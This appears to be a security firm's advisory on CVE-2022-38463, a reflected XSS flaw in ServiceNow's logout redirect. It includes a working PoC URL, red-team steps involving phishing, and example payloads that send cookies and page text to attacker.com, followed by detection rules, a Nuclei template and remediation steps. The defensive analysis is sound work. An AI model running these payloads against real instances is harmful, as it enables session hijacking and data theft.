CVE-2022-38463

Executive Summary

CVE-2022-38463 is a reflected Cross-Site Scripting (XSS) vulnerability in the logout functionality of ServiceNow, affecting versions through San Diego Patch 4b and Patch 6. An unauthenticated remote attacker can craft a malicious URL that, when clicked by a logged-in user, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, data theft, or defacement of the affected ServiceNow instance. The vulnerability has a CVSS score of 6.1 (Medium) and a public proof-of-concept (PoC) is available via a Nuclei template. No official patch version has been confirmed, but ServiceNow has released a security advisory (KB1156793).

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby) but affects the proprietary ServiceNow platform. Organizations using ServiceNow should treat this as a critical supply chain risk, as the platform is often used for IT service management (ITSM) and may contain sensitive enterprise data.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) - Victim must click a crafted link
• Scope: Changed (S:C) - Impact may extend beyond the vulnerable component
• Confidentiality Impact: Low (C:L) - Limited data exposure
• Integrity Impact: Low (I:L) - Limited modification of data
• Availability Impact: None (A:N)
• EPSS Score: 0.48128 (Percentile: 97.743%) - High probability of exploitation in the wild

Threat Level: Medium. The vulnerability requires user interaction but is trivial to exploit once a victim clicks the link. Given the high EPSS percentile, active exploitation is likely.

Deep Dive & Mechanics

The vulnerability resides in the /logout_redirect.do endpoint. The sysparm_url parameter is not properly sanitized, allowing an attacker to inject a javascript: URI. When the logout redirect is processed, the browser executes the JavaScript code embedded in the URI.

The PoC uses a double backslash (\\) to bypass basic filters and a %5c (backslash) encoding to further obfuscate the payload. The final payload //j%5c%5cjavascript%3aalert(document.domain) results in the browser interpreting the URL as javascript:alert(document.domain).

Attack Flow:

1. Attacker crafts a malicious URL: https://victim.service-now.com/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)
2. Attacker sends the link to a logged-in ServiceNow user (e.g., via email, chat).
3. Victim clicks the link.
4. The browser sends a GET request to the vulnerable endpoint.
5. The server responds with a page containing top.location.href = 'javascript:alert(document.domain)';
6. The browser executes the JavaScript in the context of the ServiceNow domain.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable endpoint likely does not validate or sanitize the sysparm_url parameter before embedding it in the JavaScript redirect. For example:

// Vulnerable: Directly uses user input
var redirectUrl = request.getParameter("sysparm_url");
response.getWriter().write("top.location.href = '" + redirectUrl + "';");

Patched Code (Expected): A patched version would validate the URL against an allowlist of safe protocols (e.g., https://) and sanitize any dangerous characters. For example:

// Patched: Validate and sanitize
var redirectUrl = request.getParameter("sysparm_url");
if (redirectUrl != null && redirectUrl.startsWith("https://")) {
    // Sanitize further if needed
    response.getWriter().write("top.location.href = '" + encodeURI(redirectUrl) + "';");
} else {
    // Redirect to a safe default
    response.sendRedirect("/");
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable ServiceNow instance (San Diego Patch 4b or Patch 6)
• A web browser

Exploitation Steps:

1. Identify the target ServiceNow instance (e.g., via Shodan or FOFA).
2. Craft the malicious URL:

   https://target.service-now.com/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)
   

3. Send the URL to a logged-in user (e.g., via phishing email).
4. When the user clicks the link, the JavaScript executes in their browser.

Advanced Payloads:

• Session hijacking: javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
• Data exfiltration: javascript:fetch('https://attacker.com/exfil?data='+btoa(document.body.innerText))

Blue Team

Detection:

• Monitor web logs for requests to /logout_redirect.do with unusual sysparm_url parameters (e.g., containing javascript:, %5c, or %3a).
• Use the provided YARA and Sigma rules to detect exploitation attempts.

Hunting:

• Search for sysparm_url parameters in proxy logs that contain javascript: or encoded variants.
• Look for outbound connections from the ServiceNow server to unknown external IPs (potential data exfiltration).

Lab Setup:

1. Deploy a vulnerable ServiceNow instance (e.g., using a Docker image or a trial version).
2. Use Burp Suite or OWASP ZAP to intercept and modify requests.
3. Test the PoC URL and observe the JavaScript execution.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /logout_redirect.do with sysparm_url parameter containing javascript: or encoded variants.
  • Outbound connections to attacker-controlled servers from the ServiceNow instance.
• File IOCs:
  • Log entries containing sysparm_url=//j%5c%5cjavascript%3aalert(document.domain).
• Behavioral IOCs:
  • Unexpected JavaScript execution in the context of the ServiceNow domain.
  • Unusual redirects to javascript: URIs.

Detection Engineering

YARA Rule

rule CVE_2022_38463_ServiceNow_XSS {
    meta:
        description = "Detects exploitation attempts of CVE-2022-38463 in ServiceNow"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-38463"
    strings:
        $payload1 = "sysparm_url=//j%5c%5cjavascript%3a" ascii wide
        $payload2 = "sysparm_url=//j\\\\javascript:" ascii wide
        $payload3 = "top.location.href = 'javascript:" ascii wide
    condition:
        any of them
}

Sigma Rule

title: CVE-2022-38463 ServiceNow Reflected XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2022-38463 in ServiceNow logout redirect
author: Valters IT
date: 2025-04-08
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38463
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-uri-query|contains:
            - "sysparm_url=//j%5c%5cjavascript%3a"
            - "sysparm_url=//j\\\\javascript:"
    condition: selection
falsepositives:
    - Legitimate use of javascript: URIs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-38463 ServiceNow Reflected XSS Attempt"; flow:to_server,established; content:"/logout_redirect.do"; http_uri; content:"sysparm_url"; http_uri; content:"javascript"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2022-38463

info:
  name: ServiceNow - Cross-Site Scripting
  author: amanrawat
  severity: medium
  description: |
    ServiceNow through San Diego Patch 4b and Patch 6 contains a cross-site scripting vulnerability in the logout functionality, which can enable an unauthenticated remote attacker to execute arbitrary JavaScript.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, data theft, or defacement of the affected ServiceNow instance.
  remediation: |
    Apply the latest security patches provided by ServiceNow to mitigate this vulnerability.
  reference:
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1156793
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38463
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-38463
    cwe-id: CWE-79
    epss-score: 0.48128
    epss-percentile: 0.97743
    cpe: cpe:2.3:a:servicenow:servicenow:san_diego:patch_4:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: servicenow
    product: servicenow
    shodan-query:
      - http.title:"ServiceNow"
      - http.title:"servicenow"
      - http.favicon.hash:1701804003
    fofa-query:
      - title="servicenow"
      - icon_hash=1701804003
    google-query: intitle:"servicenow"
  tags: cve,cve2022,servicenow,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "top.location.href = 'javascript:alert(document.domain)';"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402205c6f8bfc8f4d3f098ef639d1c05c1181ede4ab7f05a47f25cfd026baf61e5dd902202931b8af65d2b2625ab2ee42c34c859d7bda540588a90559fb8fb704c5cb86c2:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Apply Patches: Contact ServiceNow support and apply the latest security patches referenced in KB1156793.
2. Web Application Firewall (WAF): Deploy WAF rules to block requests containing sysparm_url with javascript: or encoded variants.
3. Input Validation: Implement server-side validation to ensure sysparm_url only contains safe, allowed URLs (e.g., https://).

Long-Term Mitigations:

• Content Security Policy (CSP): Implement a strict CSP that blocks inline JavaScript and restricts script sources.
• User Education: Train users to recognize phishing attempts and avoid clicking suspicious links.
• Regular Security Audits: Conduct periodic vulnerability scans and penetration tests on ServiceNow instances.

Workaround: If patching is not immediately possible, consider disabling the logout redirect functionality or restricting access to the /logout_redirect.do endpoint via network controls.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 166AFA3A8EE82895520DB2ED] */}